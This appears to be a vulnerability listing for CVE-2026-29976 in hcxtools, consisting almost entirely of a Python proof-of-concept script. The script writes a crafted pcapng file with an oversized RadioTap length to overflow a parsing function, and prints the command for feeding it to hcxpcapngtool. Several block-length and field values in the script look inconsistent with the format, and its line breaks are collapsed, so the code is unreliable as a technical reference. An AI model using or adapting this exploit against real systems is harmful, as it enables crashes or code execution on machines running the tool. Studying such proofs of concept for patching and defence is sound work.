CVE-2026-29976 ZerBea hcxtools 缓冲区溢出漏洞

import struct # Simplified PoC to generate a malformed pcapng file that might trigger the buffer overflow # This creates a minimal pcapng structure with a crafted RadioTap header. def generate_malformed_pcapng(filename): with open(filename, 'wb') as f: # Section Header Block (SHB) shb = b'\x0A\x0D\x0D\x0A' # Block Type shb += struct.pack('<I', 28) # Block Total Length shb += b'\x1A\x2B\x3C\x4D' # Byte Order Magic shb += struct.pack('<H', 1) # Version Major shb += struct.pack('<H', 0) # Version Minor shb += struct.pack('<I', 0xFFFFFFFF) # Section Length (unspecified) shb += struct.pack('<I', 28) # Block Total Length (again) # Interface Description Block (IDB) idb = struct.pack('<I', 1) # Block Type: IDB idb += struct.pack('<I', 20) # Block Total Length idb += struct.pack('<H', 1) # LinkType: Ethernet idb += struct.pack('<H', 0) # Reserved idb += struct.pack('<I', 0) # SnapLen idb += struct.pack('<I', 20) # Block Total Length (again) # Enhanced Packet Block (EPB) with malformed RadioTap epb = struct.pack('<I', 6) # Block Type: EPB # Packet Data: Minimal RadioTap header + malformed length # RadioTap header: Version (0), Pad (0), Length (0xFFFF - invalid large length) # Potential trigger for buffer overflow in getradiotapfield() malformed_radiotap = b'\x00\x00\xFF\xFF' + b'A' * 100 packet_len = 20 + len(malformed_radiotap) epb += struct.pack('<I', packet_len) # Block Total Length epb += struct.pack('<I', 0) # Interface ID epb += struct.pack('<I', 0xFFFFFFFF) # Timestamp High epb += struct.pack('<I', 0xFFFFFFFF) # Timestamp Low epb += struct.pack('<I', len(malformed_radiotap)) # Captured Len epb += struct.pack('<I', len(malformed_radiotap)) # Packet Len epb += malformed_radiotap epb += struct.pack('<I', packet_len) # Block Total Length (again) f.write(shb + idb + epb) print(f"[+] Malformed pcapng file generated: {filename}") print("[+] Usage: ./hcxpcapngtool -o output.pcap " + filename) if __name__ == "__main__": generate_malformed_pcapng('exploit.pcapng')